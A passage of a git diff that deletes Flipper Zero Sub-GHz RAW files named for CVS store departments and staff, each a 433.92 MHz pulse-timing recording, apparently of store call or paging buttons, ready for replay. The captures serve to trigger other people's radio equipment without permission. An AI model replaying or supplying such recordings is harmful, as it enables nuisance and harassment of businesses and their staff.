-1512 832 -740 1548 -740 1584 -740 1544 -744 1584 -740 1544 -744 1584 -744 1540 -744 1584 -740 1548 -740 1584 -744 1540 -748 1580 -744 1544 -740 1584 -744 1544 -740 1588 -744 1540 -748 1580 -744 1544 -740 1584 -1504 784 -1504 828 -1500 784 -744 1580 -1508 784 -744 1580 -1504 780 -748 1576 -1504 780 -1508 824 -1504 780 -744 1588 -1500 784 -744 1580 -1508 780 -744 1580 -4588 788 -748 1556 -1516 792 -748 1556 -1516 828 -744 1540 -744 1588 -740 1548 -740 1580 -748 1544 -744 1584 -744 1544 -748 1580 -744 1548 -740 1584 -740 1548 -744 1580 -748 1544 -744 1584 -744 1544 -744 1580 -752 1540 -740 1588 -740 1548 -744 1580 -1508 780 -1504 828 -1504 784 -744 1584 -1504 784 -744 1580 -1508 784 -740 1584 -1504 780 -1504 832 -1500 784 -744 1584 -1508 780 -740 1588 -1508 780 -744 1576 -4596 784 -752 1552 -1516 792 -752 1556 -1520 824 -744 1544 -744 1584 -740 1552 -744 1580 -744 1544 -744 1588 -740 1548 -744 1580 -744 1548 -748 1584 -744 1544 -744 1580 -748 1544 -740 1588 -744 1544 -744 1580 -744 1548 -740 1588 -740 1548 -744 1584 -1504 780 -1508 828 -1500 784 -744 1588 -1504 784 -744 1580 -1508 784 -740 1580 -1504 784 -1504 828 -1508 780 -744 1580 -1508 780 -744 1584 -1504 780 -748 1572 -4596 784 -752 1552 -1524 780 -756 1552 -1520 820 -752 1540 -748 1576 -752 1536 -752 1576 -752 1536 -756 1572 -752 1536 -752 1576 -752 1536 -752 1576 -756 1536 -748 1576 -752 1536 -752 1576 -752 1536 -752 1576 -748 1540 -752 1576 -752 1536 -752 1576 -1512 776 -1508 824 -1508 780 -748 1580 -1512 776 -748 1580 -1508 780 -748 1576 -1508 784 -1508 820 -1508 784 -744 1580 -1504 784 -744 1584 -1504 784 -744 1576 -4584 788 -748 1560 -1516 788 -752 1552 -1516 828 -744 1540 -744 1584 -744 1548 -740 1584 -748 1540 -744 1580 -744 1548 -744 1584 -744 1540 -748 1580 -748 1544 -736 1592 -740 1548 -744 1580 -744 1548 -740 1588 -736 1552 -740 1584 -744 1544 -744 1580 -1512 780 -1504 824 -1508 784 -736 1588 -1504 784 -744 1580 -1508 780 -744 1580 -1504 784 -1500 828 -1508 784 -744 1580 -1504 784 -744 1584 -1500 784 -740 1580 -4588 788 -748 1560 -1516 784 -752 1556 -1516 824 -744 1544 -744 1580 -744 1548 -744 1580 -740 1552 -740 1588 -740 1544 -744 1584 -744 1544 -744 1584 -744 1544 -744 1580 -748 1544 -744 1584 -736 1552 -744 1580 -744 1544 -744 1584 -740 1548 -740 1588 -1500 784 -1504 828 -1504 784 -744 1584 -1504 780 -744 1588 -1504 784 -744 1576 -1504 784 -1508 824 -1504 784 -744 1580 -1508 784 -736 1588 -1504 784 -744 1576 -4588 788 -752 1560 -1516 788 -744 1560 -1512 -RAW_Data: 828 -744 1548 -736 1588 -744 1544 -744 1580 -748 1544 -744 1580 -748 1544 -736 1588 -744 1544 -744 1580 -744 1544 -748 1580 -748 1540 -740 1588 -740 1548 -740 1584 -744 1544 -744 1580 -744 1548 -740 1584 -1500 788 -1500 828 -1508 776 -744 1584 -1504 784 -744 1584 -1504 780 -744 1580 -1508 780 -1504 824 -1508 780 -744 1588 -1504 784 -740 1584 -1508 780 -744 1580 -4588 788 -748 1556 -1520 788 -752 1552 -1520 828 -740 1548 -740 1588 -740 1544 -744 1584 -748 1540 -744 1588 -736 1548 -740 1584 -748 1544 -744 1584 -744 1544 -744 1584 -740 1548 -744 1584 -744 1544 -744 1580 -744 1548 -744 1584 -740 1548 -740 1584 -1504 784 -1508 824 -1508 784 -744 1580 -1508 780 -744 1584 -1508 780 -748 1576 -1508 780 -1508 824 -1508 776 -748 1580 -1512 776 -748 1580 -1512 772 -752 1572 -4592 784 -752 1556 -1524 780 -756 1552 -1520 824 -748 1540 -748 1580 -748 1540 -752 1580 -744 1544 -748 1580 -748 1540 -748 1580 -744 1548 -740 1584 -748 1544 -744 1580 -748 1540 -744 1584 -744 1544 -744 1584 -748 1544 -744 1580 -744 1548 -740 1580 -1508 780 -1508 824 -1504 784 -744 1584 -1508 780 -740 1588 -1504 784 -744 1580 -1504 784 -1504 824 -1508 780 -748 1580 -1508 780 -744 1584 -1508 780 -740 1580 -4592 788 -748 1556 -1516 788 -748 1556 -1516 828 -744 1544 -744 1588 -736 1548 -744 1580 -744 1548 -744 1580 -748 1540 -744 1584 -740 1552 -744 1580 -744 1548 -740 1584 -744 1544 -748 1580 -744 1544 -744 1584 -744 1548 -740 1588 -744 1544 -744 1584 -1500 784 -1508 828 -1500 788 -740 1584 -1508 780 -748 1584 -1500 784 -744 1580 -1504 780 -1508 828 -1504 784 -740 1588 -1504 784 -744 1584 -1504 784 -740 1560 -15924 diff --git a/assets/resources/subghz/Stores/CVS/Hair-Care_Department.sub b/assets/resources/subghz/Stores/CVS/Hair-Care_Department.sub deleted file mode 100644 index 736af1c1e..000000000 --- a/assets/resources/subghz/Stores/CVS/Hair-Care_Department.sub +++ /dev/null @@ -1,8 +0,0 @@ -Filetype: Flipper SubGhz RAW File -Version: 1 -# generated with ook_to_sub.py -Frequency: 433920000 -Preset: FuriHalSubGhzPresetOok650Async -Protocol: RAW -RAW_Data: 808 -740 1560 -1516 792 -740 1560 -1516 832 -736 1548 -740 1584 -736 1548 -744 1584 -740 1544 -744 1584 -740 1548 -736 1588 -744 1544 -740 1584 -736 1548 -744 1584 -736 1548 -736 1588 -740 1544 -740 1588 -736 1548 -744 1580 -744 1548 -732 1584 -1504 784 -1496 828 -1504 780 -1500 828 -1504 780 -1504 824 -1504 784 -740 1588 -1500 784 -740 1584 -1496 788 -1500 824 -1500 788 -1500 824 -1500 788 -1500 820 -4588 788 -752 1556 -1512 792 -744 1560 -1520 828 -736 1548 -744 1584 -740 1552 -736 1588 -744 1544 -740 1588 -740 1548 -744 1580 -748 1544 -740 1588 -740 1548 -740 1588 -736 1552 -740 1584 -740 1552 -736 1588 -740 1552 -740 1584 -744 1544 -740 1584 -1504 788 -1500 824 -1504 784 -1500 824 -1508 780 -1500 832 -1504 784 -740 1588 -1500 784 -744 1580 -1504 784 -1504 824 -1504 780 -1504 824 -1508 780 -1500 828 -4584 792 -748 1560 -1516 788 -748 1556 -1516 828 -740 1548 -740 1592 -736 1548 -740 1588 -740 1548 -736 1588 -740 1548 -744 1584 -740 1552 -740 1588 -740 1548 -744 1584 -740 1552 -740 1588 -740 1552 -732 1592 -740 1552 -736 1588 -740 1548 -744 1588 -1504 780 -1504 824 -1504 784 -1500 828 -1504 784 -1500 832 -1504 780 -744 1588 -1504 780 -740 1584 -1500 788 -1504 824 -1500 788 -1504 824 -1504 784 -1504 820 -4588 792 -748 1560 -1512 792 -748 1556 -1520 828 -740 1548 -736 1588 -744 1548 -740 1584 -736 1552 -744 1584 -740 1548 -740 1588 -744 1544 -744 1584 -740 1548 -744 1584 -740 1548 -740 1588 -740 1548 -744 1584 -740 1544 -744 1588 -740 1548 -736 1588 -1504 788 -1500 824 -1504 784 -1500 828 -1504 784 -1500 832 -1504 784 -740 1588 -1504 780 -744 1580 -1504 788 -1500 824 -1500 792 -1500 820 -1504 788 -1504 820 -4588 788 -744 1564 -1512 792 -744 1564 -1512 832 -740 1548 -740 1584 -744 1548 -736 1588 -740 1548 -744 1584 -740 1548 -744 1584 -740 1548 -740 1588 -736 1552 -736 1584 -748 1548 -740 1584 -740 1548 -744 1584 -744 1548 -736 1588 -744 1548 -740 1588 -1504 780 -1504 824 -1504 784 -1504 820 -1504 788 -1504 828 -1500 788 -740 1584 -1504 784 -744 1580 -1500 788 -1504 820 -1504 788 -1500 820 -1504 788 -1496 828 -4588 788 -748 1560 -1512 792 -748 1556 -1520 832 -736 1552 -736 1588 -744 1544 -740 1588 -740 1548 -744 1588 -740 1548 -736 1588 -744 1548 -744 1584 -740 1548 -740 1588 -740 1548 -740 1592 -736 1548 -744 1584 -744 1548 -736 1588 -736 1552 -744 1580 -1500 792 -1500 824 -1504 784 -1508 820 -1504 780 -1508 828 -1504 784 -744 1584 -1504 784 -744 1580 -1500 788 -1500 824 -1508 780 -1504 828 -1500 788 -1500 828 -4584 788 -748 1560 -1516 792 -744 1560 -1516 -RAW_Data: 832 -740 1552 -736 1588 -740 1548 -744 1584 -740 1548 -736 1588 -740 1552 -740 1588 -736 1552 -736 1588 -744 1548 -740 1588 -736 1552 -740 1584 -744 1548 -740 1588 -744 1544 -740 1588 -740 1548 -744 1584 -1504 784 -1504 824 -1504 784 -1504 820 -1504 788 -1504 824 -1504 788 -740 1584 -1504 784 -744 1580 -1504 784 -1504 820 -1504 784 -1504 824 -1504 784 -1500 828 -4588 788 -748 1560 -1516 792 -748 1556 -1520 828 -740 1552 -740 1584 -744 1544 -744 1588 -740 1548 -744 1584 -744 1544 -744 1584 -740 1552 -740 1588 -740 1548 -740 1588 -740 1548 -744 1588 -740 1548 -740 1588 -740 1552 -736 1588 -736 1552 -744 1584 -1500 792 -1504 820 -1504 784 -1500 828 -1504 780 -1504 832 -1504 780 -744 1588 -1504 788 -732 1588 -1500 784 -1500 828 -1504 784 -1504 820 -1500 788 -1508 820 -4588 788 -744 1564 -1512 792 -752 1552 -1524 824 -740 1552 -740 1588 -740 1548 -744 1584 -740 1548 -740 1584 -744 1548 -744 1584 -736 1548 -740 1588 -744 1548 -740 1588 -736 1548 -740 1588 -744 1548 -740 1588 -736 1552 -740 1588 -740 1548 -740 1588 -1504 784 -1504 824 -1504 784 -1504 824 -1500 792 -1504 828 -1500 788 -740 1584 -1504 788 -740 1584 -1504 780 -1508 820 -1500 792 -1496 824 -1504 788 -1504 820 -4592 788 -748 1560 -1512 796 -744 1560 -1516 824 -748 1544 -740 1588 -736 1552 -744 1584 -740 1548 -740 1588 -740 1548 -740 1588 -740 1548 -740 1588 -736 1548 -744 1584 -744 1544 -744 1588 -740 1548 -744 1584 -740 1548 -744 1584 -740 1548 -740 1588 -1500 788 -1504 820 -1508 784 -1504 824 -1500 788 -1504 828 -1504 784 -744 1584 -1500 792 -736 1584 -1504 784 -1500 828 -1500 788 -1500 824 -1504 788 -1500 804 -15924 diff --git a/assets/resources/subghz/Stores/CVS/Health_Department_OTC_Health.sub b/assets/resources/subghz/Stores/CVS/Health_Department_OTC_Health.sub deleted file mode 100644 index 1471421b4..000000000 --- a/assets/resources/subghz/Stores/CVS/Health_Department_OTC_Health.sub +++ /dev/null @@ -1,8 +0,0 @@ -Filetype: Flipper SubGhz RAW File -Version: 1 -# generated with ook_to_sub.py -Frequency: 433920000 -Preset: FuriHalSubGhzPresetOok650Async -Protocol: RAW -RAW_Data: 796 -756 1548 -1528 772 -760 1544 -1524 820 -752 1532 -756 1568 -752 1536 -752 1568 -756 1532 -752 1572 -756 1532 -756 1568 -756 1532 -752 1572 -756 1528 -752 1576 -752 1536 -748 1572 -752 1536 -752 1572 -752 1532 -752 1572 -752 1536 -752 1572 -1512 772 -1512 816 -1516 768 -756 1572 -1512 772 -752 1568 -1516 768 -1512 812 -1512 772 -1512 816 -1508 776 -1508 812 -1516 772 -1512 820 -1508 776 -748 1568 -4592 780 -756 1548 -1524 776 -756 1548 -1524 816 -756 1532 -752 1572 -752 1532 -756 1568 -756 1532 -756 1568 -756 1528 -760 1564 -764 1524 -760 1568 -756 1528 -760 1564 -760 1528 -764 1560 -760 1528 -760 1564 -760 1524 -764 1564 -760 1524 -760 1564 -1524 764 -1520 808 -1524 764 -760 1568 -1520 764 -760 1560 -1524 764 -1520 804 -1524 764 -1520 804 -1524 764 -1520 804 -1524 760 -1520 812 -1524 760 -760 1560 -4604 772 -764 1540 -1532 772 -768 1536 -1536 808 -760 1528 -756 1568 -760 1528 -760 1564 -760 1528 -760 1564 -760 1528 -760 1564 -760 1528 -756 1568 -760 1528 -760 1564 -764 1524 -760 1564 -760 1528 -760 1564 -760 1528 -760 1564 -760 1528 -760 1564 -1524 764 -1520 808 -1524 764 -760 1564 -1524 764 -760 1564 -1520 768 -1520 804 -1524 764 -1524 804 -1524 764 -1520 804 -1520 764 -1524 808 -1524 764 -756 1560 -4608 768 -768 1540 -1532 772 -764 1540 -1532 812 -760 1528 -760 1564 -760 1528 -764 1564 -760 1524 -764 1564 -760 1528 -760 1568 -756 1532 -760 1564 -760 1528 -760 1568 -756 1532 -760 1564 -764 1528 -760 1564 -760 1532 -756 1568 -764 1524 -760 1568 -1524 764 -1520 808 -1524 764 -760 1568 -1520 768 -760 1564 -1520 768 -1520 808 -1516 772 -1516 812 -1516 772 -1512 816 -1512 776 -1512 820 -1512 776 -748 1576 -4592 784 -756 1556 -1520 780 -756 1552 -1520 828 -744 1540 -748 1584 -744 1544 -744 1584 -744 1540 -748 1584 -744 1544 -744 1584 -740 1548 -744 1584 -740 1548 -744 1584 -740 1552 -740 1584 -744 1544 -740 1588 -744 1544 -740 1592 -740 1548 -740 1584 -1500 788 -1500 832 -1500 788 -740 1584 -1508 780 -740 1584 -1500 784 -1504 824 -1504 784 -1504 820 -1504 788 -1500 824 -1504 784 -1504 828 -1500 788 -740 1580 -4588 792 -740 1560 -1520 788 -752 1556 -1516 828 -740 1548 -740 1588 -740 1548 -740 1588 -744 1544 -744 1584 -744 1540 -744 1588 -744 1544 -744 1584 -740 1548 -744 1580 -744 1548 -744 1584 -744 1544 -744 1584 -740 1548 -740 1588 -740 1548 -744 1584 -1504 784 -1508 828 -1504 780 -744 1584 -1500 792 -736 1584 -1504 784 -1500 828 -1500 784 -1508 820 -1504 784 -1504 820 -1504 780 -1508 828 -1504 784 -740 1580 -4588 788 -748 1560 -1516 788 -748 1556 -1516 -RAW_Data: 828 -740 1548 -740 1584 -744 1544 -740 1588 -740 1548 -740 1584 -740 1548 -740 1588 -740 1544 -740 1588 -740 1548 -740 1588 -744 1540 -748 1580 -740 1548 -744 1584 -740 1548 -744 1580 -744 1548 -740 1584 -1504 784 -1500 828 -1504 784 -744 1584 -1500 788 -740 1580 -1504 784 -1504 820 -1504 784 -1504 828 -1500 784 -1508 820 -1504 784 -1508 820 -1508 784 -744 1576 -4592 792 -744 1560 -1512 792 -748 1560 -1520 824 -740 1548 -744 1584 -740 1548 -740 1588 -744 1544 -740 1588 -740 1548 -740 1588 -744 1544 -740 1588 -740 1548 -740 1588 -740 1552 -740 1588 -740 1548 -736 1592 -736 1548 -748 1584 -744 1544 -740 1584 -1508 780 -1508 828 -1504 780 -744 1584 -1504 788 -736 1584 -1508 776 -1508 824 -1504 784 -1504 820 -1504 784 -1508 820 -1508 776 -1504 832 -1504 780 -744 1580 -4588 792 -744 1560 -1516 788 -748 1556 -1520 832 -736 1548 -744 1588 -740 1548 -744 1584 -740 1548 -740 1588 -744 1544 -744 1584 -744 1544 -744 1584 -740 1548 -744 1584 -740 1552 -736 1588 -744 1548 -744 1584 -736 1552 -740 1584 -748 1544 -740 1584 -1504 780 -1508 828 -1504 784 -744 1584 -1504 780 -748 1576 -1504 784 -1508 820 -1508 780 -1504 820 -1504 784 -1508 820 -1504 784 -1504 824 -1508 784 -740 1580 -4588 788 -748 1564 -1508 796 -744 1560 -1520 828 -736 1548 -744 1588 -736 1548 -744 1580 -744 1548 -740 1588 -740 1552 -740 1584 -740 1548 -744 1588 -736 1548 -744 1584 -740 1548 -744 1584 -744 1544 -744 1584 -740 1548 -744 1580 -744 1544 -748 1580 -1504 784 -1508 824 -1508 776 -748 1584 -1504 780 -744 1580 -1504 784 -1508 816 -1508 784 -1504 824 -1504 784 -1504 824 -1508 780 -1504 824 -1504 788 -740 1560 -15924 diff --git a/assets/resources/subghz/Stores/CVS/Karen_Manager.sub b/assets/resources/subghz/Stores/CVS/Karen_Manager.sub deleted file mode 100644 index efce1ba65..000000000 --- a/assets/resources/subghz/Stores/CVS/Karen_Manager.sub +++ /dev/null @@ -1,8 +0,0 @@ -Filetype: Flipper SubGhz RAW File -Version: 1 -# generated with ook_to_sub.py -Frequency: 433920000 -Preset: FuriHalSubGhzPresetOok650Async -Protocol: RAW -RAW_Data: 804 -744 1560 -1512 788 -744 1560 -1512 832 -736 1548 -740 1584 -740 1548 -740 1584 -744 1540 -740 1588 -744 1544 -740 1584 -736 1552 -740 1584 -740 1548 -740 1584 -740 1548 -740 1592 -740 1544 -740 1588 -740 1544 -744 1584 -740 1552 -740 1588 -1504 784 -740 1584 -1508 784 -740 1580 -1508 784 -1504 824 -1504 784 -740 1588 -1504 784 -740 1588 -1500 784 -740 1588 -1500 788 -744 1584 -1504 784 -740 1580 -4588 788 -744 1560 -1512 792 -748 1560 -1516 828 -740 1548 -740 1588 -740 1544 -740 1588 -744 1544 -740 1584 -744 1544 -740 1588 -744 1544 -740 1588 -744 1544 -740 1588 -740 1548 -740 1588 -736 1552 -744 1580 -744 1552 -740 1580 -744 1548 -740 1588 -1500 788 -744 1584 -1504 780 -744 1580 -1504 784 -1500 828 -1504 788 -740 1580 -1504 788 -740 1584 -1504 780 -740 1588 -1504 788 -740 1584 -1500 792 -740 1576 -4588 792 -744 1560 -1516 788 -752 1556 -1516 828 -736 1552 -736 1588 -736 1552 -740 1584 -740 1544 -744 1584 -744 1544 -740 1592 -740 1540 -744 1584 -740 1552 -740 1580 -744 1548 -744 1584 -736 1552 -736 1592 -740 1548 -736 1588 -744 1544 -740 1592 -1504 780 -740 1588 -1504 784 -740 1580 -1504 784 -1504 828 -1504 780 -744 1588 -1504 780 -744 1584 -1504 784 -744 1584 -1500 792 -740 1584 -1504 788 -736 1580 -4592 788 -744 1560 -1520 788 -748 1556 -1520 828 -740 1548 -740 1588 -744 1544 -740 1592 -736 1548 -740 1592 -740 1544 -744 1588 -740 1548 -740 1588 -740 1552 -740 1584 -744 1548 -740 1588 -740 1548 -740 1588 -740 1548 -740 1588 -740 1552 -740 1584 -1508 788 -736 1588 -1504 784 -744 1576 -1508 784 -1504 824 -1508 780 -740 1588 -1504 784 -736 1596 -1500 784 -740 1588 -1500 788 -740 1584 -1504 784 -740 1584 -4588 792 -744 1560 -1516 792 -744 1560 -1516 828 -744 1540 -744 1592 -736 1548 -740 1588 -740 1548 -740 1588 -740 1544 -748 1584 -740 1548 -744 1584 -740 1544 -744 1584 -740 1544 -744 1592 -740 1544 -736 1588 -744 1544 -744 1584 -744 1544 -744 1588 -1504 788 -740 1580 -1508 784 -744 1576 -1504 788 -1504 824 -1504 784 -740 1588 -1500 784 -740 1588 -1500 784 -744 1584 -1504 784 -740 1584 -1504 784 -744 1580 -4588 784 -752 1556 -1512 792 -744 1560 -1516 828 -744 1544 -744 1588 -736 1548 -740 1588 -744 1544 -740 1584 -744 1544 -740 1588 -740 1548 -740 1592 -740 1544 -740 1588 -744 1544 -740 1588 -740 1548 -740 1588 -740 1548 -740 1588 -736 1548 -736 1592 -1500 788 -744 1584 -1500 788 -736 1584 -1500 788 -1504 824 -1504 784 -740 1588 -1504 784 -736 1592 -1504 784 -740 1588 -1500 788 -740 1584 -1500 788 -740 1576 -4588 792 -744 1560 -1512 792 -748 1556 -1516 -RAW_Data: 832 -736 1548 -744 1584 -740 1544 -740 1588 -740 1548 -740 1588 -740 1548 -740 1588 -740 1548 -740 1584 -744 1548 -740 1584 -740 1548 -744 1584 -740 1548 -740 1584 -740 1548 -740 1588 -740 1548 -740 1588 -1504 784 -744 1584 -1504 784 -740 1580 -1504 784 -1500 832 -1500 784 -740 1588 -1500 788 -740 1584 -1500 788 -740 1588 -1504 784 -740 1584 -1504 788 -736 1584 -4584 792 -748 1560 -1512 792 -748 1560 -1516 828 -740 1548 -740 1584 -744 1548 -740 1588 -740 1548 -736 1592 -740 1544 -740 1592 -740 1544 -740 1588 -740 1548 -740 1588 -740 1548 -736 1588 -740 1552 -736 1588 -744 1548 -740 1584 -744 1548 -740 1588 -1504 784 -744 1584 -1504 784 -740 1580 -1504 784 -1500 832 -1500 784 -740 1592 -1500 784 -744 1584 -1500 784 -744 1584 -1504 784 -740 1588 -1504 784 -740 1580 -4584 792 -744 1560 -1516 788 -748 1560 -1516 828 -740 1552 -740 1584 -740 1552 -740 1580 -744 1548 -740 1584 -744 1548 -740 1588 -744 1544 -740 1592 -736 1552 -740 1588 -744 1544 -740 1588 -740 1544 -744 1584 -744 1548 -744 1584 -736 1552 -740 1592 -1504 784 -740 1592 -1504 776 -744 1580 -1508 780 -1504 828 -1504 784 -744 1580 -1508 788 -740 1584 -1500 788 -740 1588 -1504 784 -740 1588 -1500 788 -740 1584 -4584 792 -744 1560 -1512 792 -748 1560 -1512 836 -740 1544 -740 1588 -740 1548 -740 1588 -736 1552 -744 1580 -744 1548 -740 1588 -736 1552 -740 1584 -740 1548 -744 1584 -740 1552 -736 1588 -736 1552 -744 1580 -744 1548 -740 1584 -740 1552 -740 1588 -1504 788 -736 1584 -1508 780 -748 1576 -1504 784 -1500 836 -1496 788 -740 1588 -1500 788 -740 1580 -1508 784 -744 1580 -1508 784 -740 1588 -1504 784 -740 1564 -15964 diff --git a/assets/resources/subghz/Stores/CVS/Karen_Security.sub b/assets/resources/subghz/Stores/CVS/Karen_Security.sub deleted file mode 100644 index 1f3090427..000000000 --- a/assets/resources/subghz/Stores/CVS/Karen_Security.sub +++ /dev/null @@ -1,8 +0,0 @@ -Filetype: Flipper SubGhz RAW File -Version: 1 -# generated with ook_to_sub.py -Frequency: 433920000 -Preset: FuriHalSubGhzPresetOok650Async -Protocol: RAW -RAW_Data: 804 -748 1552 -1516 788 -748 1556 -1512 824 -744 1544 -744 1580 -744 1544 -740 1584 -744 1548 -740 1584 -740 1548 -740 1584 -740 1548 -740 1584 -740 1544 -744 1584 -744 1544 -744 1580 -744 1544 -744 1580 -744 1544 -748 1580 -744 1544 -744 1580 -1500 788 -1500 824 -1500 788 -1500 824 -1512 776 -744 1584 -1504 780 -744 1584 -1508 780 -740 1588 -1504 784 -740 1588 -1500 784 -740 1588 -1504 784 -736 1580 -4584 792 -748 1556 -1512 792 -748 1560 -1516 828 -740 1544 -748 1580 -744 1544 -744 1580 -744 1548 -744 1580 -740 1548 -744 1584 -740 1544 -744 1580 -744 1548 -736 1588 -740 1548 -740 1588 -740 1544 -740 1584 -744 1544 -740 1584 -744 1544 -740 1584 -1508 780 -1504 820 -1508 776 -1504 832 -1504 784 -736 1588 -1504 784 -736 1588 -1508 780 -744 1584 -1500 784 -740 1588 -1504 784 -736 1592 -1500 784 -744 1576 -4588 792 -744 1560 -1512 792 -748 1556 -1516 828 -744 1548 -740 1584 -740 1548 -740 1588 -740 1548 -740 1584 -744 1544 -748 1580 -744 1548 -740 1580 -748 1544 -744 1580 -740 1548 -740 1588 -740 1552 -740 1584 -740 1552 -736 1588 -740 1552 -736 1588 -1504 780 -1508 820 -1504 784 -1500 828 -1500 788 -744 1580 -1504 788 -744 1580 -1504 788 -744 1580 -1504 784 -744 1580 -1508 784 -740 1584 -1500 788 -744 1576 -4588 788 -748 1556 -1516 788 -744 1560 -1512 832 -740 1548 -740 1588 -740 1544 -744 1584 -740 1544 -748 1580 -744 1548 -740 1584 -744 1544 -740 1588 -736 1552 -736 1592 -736 1548 -740 1588 -740 1548 -744 1580 -740 1548 -744 1584 -740 1548 -744 1584 -1500 788 -1500 824 -1504 780 -1504 832 -1500 788 -736 1588 -1504 784 -740 1584 -1504 784 -740 1588 -1504 780 -740 1584 -1504 784 -744 1584 -1504 784 -740 1580 -4588 788 -744 1560 -1516 788 -748 1556 -1512 832 -740 1548 -740 1584 -740 1548 -740 1584 -744 1544 -744 1584 -744 1544 -740 1584 -744 1548 -736 1588 -740 1552 -736 1592 -736 1552 -736 1588 -740 1548 -740 1584 -740 1548 -740 1584 -748 1540 -748 1580 -1504 784 -1504 824 -1500 784 -1504 824 -1508 784 -740 1584 -1508 780 -744 1584 -1500 784 -744 1584 -1504 784 -740 1584 -1504 784 -740 1584 -1504 784 -740 1580 -4592 788 -748 1556 -1516 792 -744 1556 -1516 828 -740 1548 -740 1584 -744 1544 -740 1584 -744 1544 -740 1588 -740 1548 -736 1592 -736 1548 -736 1588 -740 1548 -740 1584 -744 1544 -740 1584 -740 1548 -740 1588 -736 1548 -740 1588 -740 1544 -748 1580 -1500 784 -1500 824 -1504 788 -1500 828 -1504 784 -740 1584 -1504 784 -740 1584 -1504 780 -744 1584 -1508 780 -740 1588 -1500 784 -744 1584 -1500 784 -740 1584 -4584 788 -748 1556 -1516 788 -744 1560 -1512 -RAW_Data: 832 -736 1552 -736 1588 -740 1548 -736 1588 -740 1548 -740 1584 -740 1548 -744 1580 -740 1548 -740 1588 -736 1552 -732 1592 -744 1544 -740 1580 -748 1540 -748 1580 -740 1548 -744 1580 -740 1552 -736 1588 -1504 784 -1504 824 -1504 780 -1504 828 -1504 780 -744 1588 -1504 780 -740 1584 -1504 784 -740 1588 -1504 784 -736 1584 -1508 784 -736 1588 -1504 784 -740 1576 -4592 784 -748 1560 -1516 788 -748 1560 -1512 828 -740 1552 -736 1588 -740 1548 -740 1588 -740 1548 -740 1584 -740 1548 -740 1584 -744 1548 -740 1584 -740 1548 -744 1584 -740 1548 -736 1592 -736 1552 -740 1584 -740 1548 -740 1588 -740 1548 -740 1584 -1500 788 -1496 828 -1504 780 -1504 828 -1500 788 -740 1580 -1508 784 -740 1588 -1500 784 -740 1588 -1500 784 -744 1584 -1500 784 -740 1588 -1504 788 -736 1580 -4588 788 -744 1560 -1516 788 -748 1560 -1516 828 -744 1544 -744 1584 -744 1544 -740 1588 -744 1544 -740 1588 -736 1552 -740 1584 -740 1548 -740 1588 -740 1548 -740 1584 -744 1544 -744 1580 -748 1544 -744 1584 -740 1548 -744 1584 -740 1548 -740 1588 -1500 784 -1504 824 -1504 784 -1500 832 -1500 784 -744 1584 -1500 784 -744 1584 -1504 784 -740 1588 -1504 784 -744 1580 -1508 784 -744 1580 -1504 784 -744 1580 -4588 792 -744 1560 -1512 796 -740 1560 -1516 828 -740 1552 -736 1588 -740 1548 -740 1588 -740 1544 -744 1584 -744 1544 -736 1588 -740 1552 -736 1588 -740 1548 -740 1584 -740 1548 -744 1584 -744 1544 -744 1584 -740 1548 -736 1592 -732 1552 -736 1588 -1504 780 -1504 820 -1504 780 -1508 828 -1504 784 -740 1588 -1504 780 -744 1584 -1504 784 -740 1584 -1508 780 -744 1584 -1508 780 -744 1584 -1504 784 -740 1560 -15924 diff --git a/assets/resources/subghz/Stores/CVS/Liquor_Department.sub b/assets/resources/subghz/Stores/CVS/Liquor_Department.sub deleted file mode 100644 index 56343f209..000000000 --- a/assets/resources/subghz/Stores/CVS/Liquor_Department.sub +++ /dev/null @@ -1,8 +0,0 @@ -Filetype: Flipper SubGhz RAW File -Version: 1 -# generated with ook_to_sub.py -Frequency: 433920000 -Preset: FuriHalSubGhzPresetOok650Async -Protocol: RAW -RAW_Data: 804 -744 1560 -1516 788 -744 1560 -1516 828 -744 1544 -744 1580 -748 1540 -744 1588 -740 1544 -740 1584 -740 1552 -740 1584 -744 1544 -740 1580 -744 1548 -736 1588 -740 1548 -740 1584 -740 1552 -740 1584 -740 1544 -740 1588 -744 1540 -744 1592 -1500 784 -744 1580 -1504 784 -1504 828 -1504 780 -744 1576 -1508 780 -1504 828 -1500 784 -744 1588 -1504 784 -740 1588 -1500 784 -744 1580 -1508 784 -736 1580 -4584 792 -748 1556 -1520 784 -748 1560 -1516 828 -740 1544 -744 1588 -736 1548 -740 1584 -744 1544 -736 1588 -740 1544 -744 1584 -744 1544 -740 1584 -744 1544 -744 1584 -740 1544 -744 1584 -740 1544 -748 1580 -740 1548 -740 1588 -736 1552 -740 1592 -1500 784 -736 1584 -1500 784 -1504 832 -1500 784 -740 1584 -1500 784 -1508 828 -1500 788 -740 1584 -1500 784 -740 1588 -1504 780 -740 1584 -1508 776 -748 1580 -4580 792 -744 1564 -1512 788 -748 1556 -1516 832 -740 1548 -736 1588 -744 1548 -740 1588 -736 1548 -744 1584 -740 1548 -740 1588 -740 1548 -740 1584 -744 1548 -740 1584 -740 1548 -740 1588 -744 1544 -744 1584 -736 1552 -740 1584 -740 1544 -748 1584 -1504 784 -744 1576 -1504 788 -1500 824 -1500 788 -740 1580 -1504 784 -1500 828 -1508 780 -744 1584 -1500 784 -740 1588 -1504 784 -740 1588 -1500 784 -744 1580 -4588 784 -748 1560 -1520 788 -748 1560 -1512 828 -740 1552 -740 1584 -740 1548 -744 1584 -744 1544 -740 1588 -736 1548 -740 1580 -744 1548 -740 1588 -740 1544 -744 1584 -740 1548 -744 1584 -736 1552 -736 1588 -736 1552 -740 1584 -744 1544 -740 1584 -1504 788 -736 1584 -1500 784 -1504 828 -1508 776 -748 1576 -1504 784 -1500 828 -1508 780 -744 1580 -1508 776 -744 1584 -1508 780 -736 1584 -1504 784 -744 1580 -4584 788 -748 1552 -1524 788 -744 1556 -1520 824 -748 1540 -744 1580 -744 1548 -744 1576 -752 1548 -732 1584 -744 1540 -748 1584 -744 1540 -744 1584 -744 1548 -744 1580 -744 1544 -748 1584 -740 1556 -732 1584 -744 1544 -748 1580 -748 1540 -748 1588 -1500 780 -744 1584 -1500 780 -1508 828 -1500 784 -748 1576 -1504 788 -1504 820 -1508 788 -736 1588 -1504 776 -744 1588 -1504 784 -744 1576 -1508 784 -744 1576 -4588 788 -752 1556 -1512 788 -748 1560 -1524 816 -748 1544 -748 1576 -748 1544 -740 1588 -740 1548 -744 1580 -748 1544 -736 1584 -748 1540 -748 1588 -740 1544 -740 1588 -748 1536 -748 1576 -752 1540 -748 1576 -752 1536 -748 1580 -752 1536 -748 1580 -1512 776 -748 1572 -1512 776 -1512 824 -1508 776 -748 1576 -1512 772 -1516 816 -1512 776 -752 1576 -1516 776 -748 1576 -1516 776 -748 1576 -1516 772 -756 1568 -4600 784 -756 1548 